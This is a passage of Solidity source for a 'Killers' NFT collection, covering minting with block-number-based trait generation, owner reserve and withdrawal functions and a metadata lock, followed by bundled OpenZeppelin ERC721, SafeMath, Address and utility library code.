require(_totalSupply() + _count <= MAX_ELEMENTS - RESERVE, "Max limit reached");
require(_count <= MAX_PURCHASE, "Max purchase limit");
require(msg.value >= price(_count), "Value below price");
for (uint i = 0; i < _count; i++) {
_tokenIds.increment();
uint256 _id = _tokenIds.current();
_safeMint(msg.sender, _id);
Killer memory killer = _generateKiller(_id);
_killers[_id] = killer;
string memory seed = _getKillerSeed(killer);
_seedToKillers[seed] = 1;
emit WelcomeToKillerParty(_id, killer);
}
}
function _getKillerSeed(Killer memory _killer) internal pure returns (string memory seed) {
return string(abi.encodePacked(uintToString(_killer.bg), uintToString(_killer.glove), uintToString(_killer.jacket), uintToString(_killer.hilt), uintToString(_killer.blade), uintToString(_killer.vine), uintToString(_killer.pumpkin), uintToString(_killer.face), uintToString(_killer.accessory)));
}
function _generateKiller(uint256 _id) internal view returns (Killer memory killer) {
Killer memory k = Killer(
block.number * _id % 3,
(block.number + _id) % 3,
block.number * _id % 6,
(block.number - _id) % 3,
block.number * _id % 3,
(block.number * _id + _id) % 3,
block.number * _id % 7,
block.number * _id % 24,
(block.number + (startingBlockNumber * _id)) % 2
);
string memory seed = _getKillerSeed(k);
if (_seedToKillers[seed] == 1) {
return _generateKiller(_id + 1);
}
return k;
}
function getKiller(uint256 _id) public view returns (Killer memory killer) {
return _killers[_id];
}
function _uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
function price(uint256 _count) public view returns (uint256) {
return PRICE.mul(_count);
}
function setPause(bool _pause) public onlyOwner {
PAUSE = _pause;
emit PauseEvent(PAUSE);
}
/**
* Reserve Killers for future activities and for supporters
*/
function reserveKillers() public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < RESERVE; i++) {
_safeMint(msg.sender, supply + i);
}
}
/**
* @dev Sets the prices for minting - in case of cataclysmic ETH price movements
*/
function setPrice(uint256 _price) external onlyOwner notLocked {
require(_price > 0, "Invalid prices.");
PRICE = _price;
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
_widthdraw(potAddress, balance.mul(50).div(100));
_widthdraw(devAddress, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
/**
* @dev locks the contract (prevents changing the metadata base uris)
*/
function lock() public onlyOwner notLocked {
require(bytes(baseTokenURI).length > 0, "Thou shall not lock prematurely!");
require(totalSupply() == MAX_ELEMENTS, "Not all Killers are minted yet!");
locked = true;
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
while(i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function uintToBytes(uint v) pure private returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function uintToString(uint v) pure private returns (string memory ret) {
return bytes32ToString(uintToBytes(v));
}
/**
* @dev Do not allow renouncing ownership
*/
function renounceOwnership() public override(Ownable) onlyOwner {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
